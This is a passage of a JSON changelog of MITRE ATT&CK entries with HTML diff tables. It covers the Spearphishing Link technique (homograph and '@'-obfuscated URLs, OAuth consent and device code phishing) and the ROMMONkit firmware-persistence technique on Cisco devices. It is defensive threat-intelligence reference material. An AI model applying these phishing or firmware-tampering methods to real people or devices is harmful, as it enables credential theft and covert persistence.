nowrap=\"nowrap\">ch&nbsp;as&nbsp;posing&nbsp;as&nbsp;a&nbsp;trusted&nbsp;source.&nbsp;&nbsp;All&nbsp;forms&nbsp;of&nbsp;spearphishin</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ch&nbsp;as&nbsp;posing&nbsp;as&nbsp;a&nbsp;trusted&nbsp;source.&nbsp;&nbsp;All&nbsp;forms&nbsp;of&nbsp;spearphishin</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">g&nbsp;are&nbsp;electronically&nbsp;delivered&nbsp;social&nbsp;engineering&nbsp;targeted&nbsp;a</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">g&nbsp;are&nbsp;electronically&nbsp;delivered&nbsp;social&nbsp;engineering&nbsp;targeted&nbsp;a</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">t&nbsp;a&nbsp;specific&nbsp;individual,&nbsp;company,&nbsp;or&nbsp;industry.&nbsp;In&nbsp;this&nbsp;case,</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">t&nbsp;a&nbsp;specific&nbsp;individual,&nbsp;company,&nbsp;or&nbsp;industry.&nbsp;In&nbsp;this&nbsp;case,</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;the&nbsp;malicious&nbsp;emails&nbsp;contain&nbsp;links.&nbsp;Generally,&nbsp;the&nbsp;links&nbsp;wi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;the&nbsp;malicious&nbsp;emails&nbsp;contain&nbsp;links.&nbsp;Generally,&nbsp;the&nbsp;links&nbsp;wi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ll&nbsp;be&nbsp;accompanied&nbsp;by&nbsp;social&nbsp;engineering&nbsp;text&nbsp;and&nbsp;require&nbsp;the</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ll&nbsp;be&nbsp;accompanied&nbsp;by&nbsp;social&nbsp;engineering&nbsp;text&nbsp;and&nbsp;require&nbsp;the</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;user&nbsp;to&nbsp;actively&nbsp;click&nbsp;or&nbsp;copy&nbsp;and&nbsp;paste&nbsp;a&nbsp;URL&nbsp;into&nbsp;a&nbsp;brows</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;user&nbsp;to&nbsp;actively&nbsp;click&nbsp;or&nbsp;copy&nbsp;and&nbsp;paste&nbsp;a&nbsp;URL&nbsp;into&nbsp;a&nbsp;brows</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">er,&nbsp;leveraging&nbsp;[User&nbsp;Execution](https://attack.mitre.org/tec</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">er,&nbsp;leveraging&nbsp;[User&nbsp;Execution](https://attack.mitre.org/tec</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">hniques/T1204).&nbsp;The&nbsp;visited&nbsp;website&nbsp;may&nbsp;compromise&nbsp;the&nbsp;web&nbsp;b</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">hniques/T1204).&nbsp;The&nbsp;visited&nbsp;website&nbsp;may&nbsp;compromise&nbsp;the&nbsp;web&nbsp;b</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rowser&nbsp;using&nbsp;an&nbsp;exploit,&nbsp;or&nbsp;the&nbsp;user&nbsp;will&nbsp;be&nbsp;prompted&nbsp;to&nbsp;dow</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rowser&nbsp;using&nbsp;an&nbsp;exploit,&nbsp;or&nbsp;the&nbsp;user&nbsp;will&nbsp;be&nbsp;prompted&nbsp;to&nbsp;dow</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nload&nbsp;applications,&nbsp;documents,&nbsp;zip&nbsp;files,&nbsp;or&nbsp;even&nbsp;executable</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nload&nbsp;applications,&nbsp;documents,&nbsp;zip&nbsp;files,&nbsp;or&nbsp;even&nbsp;executable</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;depending&nbsp;on&nbsp;the&nbsp;pretext&nbsp;for&nbsp;the&nbsp;email&nbsp;in&nbsp;the&nbsp;first&nbsp;place.</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;depending&nbsp;on&nbsp;the&nbsp;pretext&nbsp;for&nbsp;the&nbsp;email&nbsp;in&nbsp;the&nbsp;first&nbsp;place.</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;also&nbsp;include&nbsp;links&nbsp;that&nbsp;are&nbsp;intended&nbsp;to&nbsp;in</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;also&nbsp;include&nbsp;links&nbsp;that&nbsp;are&nbsp;intended&nbsp;to&nbsp;in</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">teract&nbsp;directly&nbsp;with&nbsp;an&nbsp;email&nbsp;reader,&nbsp;including&nbsp;embedded&nbsp;ima</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">teract&nbsp;directly&nbsp;with&nbsp;an&nbsp;email&nbsp;reader,&nbsp;including&nbsp;embedded&nbsp;ima</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ges&nbsp;intended&nbsp;to&nbsp;exploit&nbsp;the&nbsp;end&nbsp;system&nbsp;directly.&nbsp;Additionall</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ges&nbsp;intended&nbsp;to&nbsp;exploit&nbsp;the&nbsp;end&nbsp;system&nbsp;directly.&nbsp;Additionall</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">y,&nbsp;adversaries&nbsp;may&nbsp;use&nbsp;seemingly&nbsp;benign&nbsp;links&nbsp;that&nbsp;abuse&nbsp;spe</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">y,&nbsp;adversaries&nbsp;may&nbsp;use&nbsp;seemingly&nbsp;benign&nbsp;links&nbsp;that&nbsp;abuse&nbsp;spe</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">cial&nbsp;characters&nbsp;to&nbsp;mimic&nbsp;legitimate&nbsp;websites&nbsp;(known&nbsp;as&nbsp;an&nbsp;\"I</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">cial&nbsp;characters&nbsp;to&nbsp;mimic&nbsp;legitimate&nbsp;websites&nbsp;(known&nbsp;as&nbsp;an&nbsp;\"I</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">DN&nbsp;homograph&nbsp;attack\").(Citation:&nbsp;CISA&nbsp;IDN&nbsp;ST05-016)&nbsp;URLs&nbsp;may</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">DN&nbsp;homograph&nbsp;attack\").(Citation:&nbsp;CISA&nbsp;IDN&nbsp;ST05-016)&nbsp;URLs&nbsp;may</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;also&nbsp;be&nbsp;obfuscated&nbsp;by&nbsp;taking&nbsp;advantage&nbsp;of&nbsp;quirks&nbsp;in&nbsp;the&nbsp;URL</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;also&nbsp;be&nbsp;obfuscated&nbsp;by&nbsp;taking&nbsp;advantage&nbsp;of&nbsp;quirks&nbsp;in&nbsp;the&nbsp;URL</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;schema,&nbsp;such&nbsp;as&nbsp;the&nbsp;acceptance&nbsp;of&nbsp;integer-&nbsp;or&nbsp;hexadecimal-b</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;schema,&nbsp;such&nbsp;as&nbsp;the&nbsp;acceptance&nbsp;of&nbsp;integer-&nbsp;or&nbsp;hexadecimal-b</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ased&nbsp;hostname&nbsp;formats&nbsp;and&nbsp;the&nbsp;automatic&nbsp;discarding&nbsp;of&nbsp;text&nbsp;b</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ased&nbsp;hostname&nbsp;formats&nbsp;and&nbsp;the&nbsp;automatic&nbsp;discarding&nbsp;of&nbsp;text&nbsp;b</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">efore&nbsp;an&nbsp;\u201c@\u201d&nbsp;symbol:&nbsp;for&nbsp;example,&nbsp;`hxxp://google.com@1157586</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">efore&nbsp;an&nbsp;\u201c@\u201d&nbsp;symbol:&nbsp;for&nbsp;example,&nbsp;`hxxp://google.com@1157586</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">937`.(Citation:&nbsp;Mandiant&nbsp;URL&nbsp;Obfuscation&nbsp;2023)&nbsp;&nbsp;Adversaries&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">937`.(Citation:&nbsp;Mandiant&nbsp;URL&nbsp;Obfuscation&nbsp;2023)&nbsp;&nbsp;Adversaries&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">may&nbsp;also&nbsp;utilize&nbsp;links&nbsp;to&nbsp;perform&nbsp;consent&nbsp;phishing/spearphis</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">may&nbsp;also&nbsp;utilize&nbsp;links&nbsp;to&nbsp;perform&nbsp;consent&nbsp;phishing/spearphis</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">hing&nbsp;campaigns&nbsp;to&nbsp;[Steal&nbsp;Application&nbsp;Access&nbsp;Token](https://a</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">hing&nbsp;campaigns&nbsp;to&nbsp;[Steal&nbsp;Application&nbsp;Access&nbsp;Token](https://a</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ttack.mitre.org/techniques/T1528)s&nbsp;that&nbsp;grant&nbsp;immediate&nbsp;acce</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ttack.mitre.org/techniques/T1528)s&nbsp;that&nbsp;grant&nbsp;immediate&nbsp;acce</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ss&nbsp;to&nbsp;the&nbsp;victim&nbsp;environment.&nbsp;For&nbsp;example,&nbsp;a&nbsp;user&nbsp;may&nbsp;be&nbsp;lur</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ss&nbsp;to&nbsp;the&nbsp;victim&nbsp;environment.&nbsp;For&nbsp;example,&nbsp;a&nbsp;user&nbsp;may&nbsp;be&nbsp;lur</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ed&nbsp;into&nbsp;granting&nbsp;adversaries&nbsp;permissions/access&nbsp;via&nbsp;a&nbsp;malici</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ed&nbsp;into&nbsp;granting&nbsp;adversaries&nbsp;permissions/access&nbsp;via&nbsp;a&nbsp;malici</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ous&nbsp;OAuth&nbsp;2.0&nbsp;request&nbsp;URL&nbsp;that&nbsp;when&nbsp;accepted&nbsp;by&nbsp;the&nbsp;user&nbsp;pro</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ous&nbsp;OAuth&nbsp;2.0&nbsp;request&nbsp;URL&nbsp;that&nbsp;when&nbsp;accepted&nbsp;by&nbsp;the&nbsp;user&nbsp;pro</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">vide&nbsp;permissions/access&nbsp;for&nbsp;malicious&nbsp;applications.(Citation</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">vide<span class=\"diff_add\">s</span>&nbsp;permissions/access&nbsp;for&nbsp;malicious&nbsp;applications.(Citatio</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">:&nbsp;Trend&nbsp;Micro&nbsp;Pawn&nbsp;Storm&nbsp;OAuth&nbsp;2017)(Citation:&nbsp;Microsoft&nbsp;OAu</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n:&nbsp;Trend&nbsp;Micro&nbsp;Pawn&nbsp;Storm&nbsp;OAuth&nbsp;2017)(Citation:&nbsp;Microsoft&nbsp;OA</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">th&nbsp;2.0&nbsp;Consent&nbsp;Phishing&nbsp;2021)&nbsp;These&nbsp;stolen&nbsp;access&nbsp;tokens&nbsp;all</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">uth&nbsp;2.0&nbsp;Consent&nbsp;Phishing&nbsp;2021)&nbsp;These&nbsp;stolen&nbsp;access&nbsp;tokens&nbsp;al</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ow&nbsp;the&nbsp;adversary&nbsp;to&nbsp;perform&nbsp;various&nbsp;actions&nbsp;on&nbsp;behalf&nbsp;of&nbsp;the</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">low&nbsp;the&nbsp;adversary&nbsp;to&nbsp;perform&nbsp;various&nbsp;actions&nbsp;on&nbsp;behalf&nbsp;of&nbsp;th</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;user&nbsp;via&nbsp;API&nbsp;calls.(Citation:&nbsp;Microsoft&nbsp;OAuth&nbsp;2.0&nbsp;Consent&nbsp;P</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;user&nbsp;via&nbsp;API&nbsp;calls.(Citation:&nbsp;Microsoft&nbsp;OAuth&nbsp;2.0&nbsp;Consent&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">hishing&nbsp;2021)&nbsp;&nbsp;Similarly,&nbsp;malicious&nbsp;links&nbsp;may&nbsp;also&nbsp;target&nbsp;de</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Phishing&nbsp;2021)&nbsp;&nbsp;Similarly,&nbsp;malicious&nbsp;links&nbsp;may&nbsp;also&nbsp;target&nbsp;d</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">vice-based&nbsp;authorization,&nbsp;such&nbsp;as&nbsp;OAuth&nbsp;2.0&nbsp;device&nbsp;authoriza</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">evice-based&nbsp;authorization,&nbsp;such&nbsp;as&nbsp;OAuth&nbsp;2.0&nbsp;device&nbsp;authoriz</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tion&nbsp;grant&nbsp;flow&nbsp;which&nbsp;is&nbsp;typically&nbsp;used&nbsp;to&nbsp;authenticate&nbsp;devi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ation&nbsp;grant&nbsp;flow&nbsp;which&nbsp;is&nbsp;typically&nbsp;used&nbsp;to&nbsp;authenticate&nbsp;dev</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ces&nbsp;without&nbsp;UIs/browsers.&nbsp;Known&nbsp;as&nbsp;\u201cdevice&nbsp;code&nbsp;phishing,\u201d&nbsp;a</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ices&nbsp;without&nbsp;UIs/browsers.&nbsp;Known&nbsp;as&nbsp;\u201cdevice&nbsp;code&nbsp;phishing,\u201d&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;adversary&nbsp;may&nbsp;send&nbsp;a&nbsp;link&nbsp;that&nbsp;directs&nbsp;the&nbsp;victim&nbsp;to&nbsp;a&nbsp;mal</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">an&nbsp;adversary&nbsp;may&nbsp;send&nbsp;a&nbsp;link&nbsp;that&nbsp;directs&nbsp;the&nbsp;victim&nbsp;to&nbsp;a&nbsp;ma</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">icious&nbsp;authorization&nbsp;page&nbsp;where&nbsp;the&nbsp;user&nbsp;is&nbsp;tricked&nbsp;into&nbsp;ent</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">licious&nbsp;authorization&nbsp;page&nbsp;where&nbsp;the&nbsp;user&nbsp;is&nbsp;tricked&nbsp;into&nbsp;en</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ering&nbsp;a&nbsp;code/credentials&nbsp;that&nbsp;produces&nbsp;a&nbsp;device&nbsp;token.(Citat</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tering&nbsp;a&nbsp;code/credentials&nbsp;that&nbsp;produces&nbsp;a&nbsp;device&nbsp;token.(Cita</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ion:&nbsp;SecureWorks&nbsp;Device&nbsp;Code&nbsp;Phishing&nbsp;2021)(Citation:&nbsp;Netsko</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tion:&nbsp;SecureWorks&nbsp;Device&nbsp;Code&nbsp;Phishing&nbsp;2021)(Citation:&nbsp;Netsk</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">pe&nbsp;Device&nbsp;Code&nbsp;Phishing&nbsp;2021)(Citation:&nbsp;Optiv&nbsp;Device&nbsp;Code&nbsp;Ph</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ope&nbsp;Device&nbsp;Code&nbsp;Phishing&nbsp;2021)(Citation:&nbsp;Optiv&nbsp;Device&nbsp;Code&nbsp;P</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ishing&nbsp;2021)</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">hishing&nbsp;2021)</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1017: User Training",
                            "M1018: User Account Management",
                            "M1021: Restrict Web-Based Content",
                            "M1047: Audit",
                            "M1054: Software Configuration"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0107: Detection Strategy for Spearphishing Links"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--a6557c75-798f-42e4-be70-ab4502e0a3bc",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-10-20 00:05:48.790000+00:00",
                    "modified": "2026-11-04 00:49:10.733000+00:00",
                    "name": "ROMMONkit",
                    "description": "Adversaries may abuse the ROM Monitor (ROMMON) by loading an unauthorized firmware with adversary code to provide persistent access and manipulate device behavior that is difficult to detect.(Citation: Cisco Synful Knock Evolution)(Citation: Cisco Blog Legacy Device Attacks)\n\n\nROMMON is a Cisco network device firmware that functions as a boot loader, boot image, or boot helper to initialize hardware and software when the platform is powered on or reset. Similar to [TFTP Boot](https://attack.mitre.org/techniques/T1542/005), an adversary may upgrade the ROMMON image locally or remotely (for example, through TFTP) with adversary code and restart the device in order to overwrite the existing ROMMON image. This provides adversaries with the means to update the ROMMON to gain persistence on a system in a way that may be difficult to detect.",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "stealth"
                        },
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "persistence"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1542/004",
                            "external_id": "T1542.004"
                        },
                        {
                            "source_name": "Cisco Synful Knock Evolution",
                            "description": "Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020.",
                            "url": "https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices"
                        },
                        {
                            "source_name": "Cisco Blog Legacy Device Attacks",
                            "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.",
                            "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Network Devices"
                    ],
                    "x_mitre_version": "2.0",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 00:49:10.733000+00:00\", \"old_value\": \"2026-05-12 15:12:00.706000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may abuse the ROM Monitor (ROMMON) by loading an unauthorized firmware with adversary code to provide persistent access and manipulate device behavior that is difficult to detect.(Citation: Cisco Synful Knock Evolution)(Citation: Cisco Blog Legacy Device Attacks)\\n\\n\\nROMMON is a Cisco network device firmware that functions as a boot loader, boot image, or boot helper to initialize hardware and software when the platform is powered on or reset. Similar to [TFTP Boot](https://attack.mitre.org/techniques/T1542/005), an adversary may upgrade the ROMMON image locally or remotely (for example, through TFTP) with adversary code and restart the device in order to overwrite the existing ROMMON image. This provides adversaries with the means to update the ROMMON to gain persistence on a system in a way that may be difficult to detect.\", \"old_value\": \"Adversaries may abuse the ROM Monitor (ROMMON) by loading an unauthorized firmware with adversary code to provide persistent access and manipulate device behavior that is difficult to detect. (Citation: Cisco Synful Knock Evolution)(Citation: Cisco Blog Legacy Device Attacks)\\n\\n\\nROMMON is a Cisco network device firmware that functions as a boot loader, boot image, or boot helper to initialize hardware and software when the platform is powered on or reset. Similar to [TFTP Boot](https://attack.mitre.org/techniques/T1542/005), an adversary may upgrade the ROMMON image locally or remotely (for example, through TFTP) with adversary code and restart the device in order to overwrite the existing ROMMON image. This provides adversaries with the means to update the ROMMON to gain persistence on a system in a way that may be difficult to detect.\", \"diff\": \"--- \\n+++ \\n@@ -1,4 +1,4 @@\\n-Adversaries may abuse the ROM Monitor (ROMMON) by loading an unauthorized firmware with adversary code to provide persistent access and manipulate device behavior that is difficult to detect. (Citation: Cisco Synful Knock Evolution)(Citation: Cisco Blog Legacy Device Attacks)\\n+Adversaries may abuse the ROM Monitor (ROMMON) by loading an unauthorized firmware with adversary code to provide persistent access and manipulate device behavior that is difficult to detect.(Citation: Cisco Synful Knock Evolution)(Citation: Cisco Blog Legacy Device Attacks)\\n \\n \\n ROMMON is a Cisco network device firmware that functions as a boot loader, boot image, or boot helper to initialize hardware and software when the platform is powered on or reset. Similar to [TFTP Boot](https://attack.mitre.org/techniques/T1542/005), an adversary may upgrade the ROMMON image locally or remotely (for example, through TFTP) with adversary code and restart the device in order to overwrite the existing ROMMON image. This provides adversaries with the means to update the ROMMON to gain persistence on a system in a way that may be difficult to detect.\"}}}",
                    "previous_version": "2.0",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to46__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to46__0\"><a href=\"#difflib_chg_to46__top\">t</a></td><td class=\"diff_header\" id=\"from46_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;abuse&nbsp;the&nbsp;ROM&nbsp;Monitor&nbsp;(ROMMON)&nbsp;by&nbsp;loading&nbsp;an</td><td class=\"diff_next\"><a href=\"#difflib_chg_to46__top\">t</a></td><td class=\"diff_header\" id=\"to46_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;abuse&nbsp;the&nbsp;ROM&nbsp;Monitor&nbsp;(ROMMON)&nbsp;by&nbsp;loading&nbsp;an</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;unauthorized&nbsp;firmware&nbsp;with&nbsp;adversary&nbsp;code&nbsp;to&nbsp;provide&nbsp;persis</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;unauthorized&nbsp;firmware&nbsp;with&nbsp;adversary&nbsp;code&nbsp;to&nbsp;provide&nbsp;persis</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tent&nbsp;access&nbsp;and&nbsp;manipulate&nbsp;device&nbsp;behavior&nbsp;that&nbsp;is&nbsp;difficult</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tent&nbsp;access&nbsp;and&nbsp;manipulate&nbsp;device&nbsp;behavior&nbsp;that&nbsp;is&nbsp;difficult</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;to&nbsp;detect.<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;Cisco&nbsp;Synful&nbsp;Knock&nbsp;Evolution)(Citatio</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;to&nbsp;detect.(Citation:&nbsp;Cisco&nbsp;Synful&nbsp;Knock&nbsp;Evolution)(Citation</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n:&nbsp;Cisco&nbsp;Blog&nbsp;Legacy&nbsp;Device&nbsp;Attacks)&nbsp;&nbsp;&nbsp;ROMMON&nbsp;is&nbsp;a&nbsp;Cisco&nbsp;net</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">:&nbsp;Cisco&nbsp;Blog&nbsp;Legacy&nbsp;Device&nbsp;Attacks)&nbsp;&nbsp;&nbsp;ROMMON&nbsp;is&nbsp;a&nbsp;Cisco&nbsp;netw</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">work&nbsp;device&nbsp;firmware&nbsp;that&nbsp;functions&nbsp;as&nbsp;a&nbsp;boot&nbsp;loader,&nbsp;boot&nbsp;i</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ork&nbsp;device&nbsp;firmware&nbsp;that&nbsp;functions&nbsp;as&nbsp;a&nbsp;boot&nbsp;loader,&nbsp;boot&nbsp;im</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td 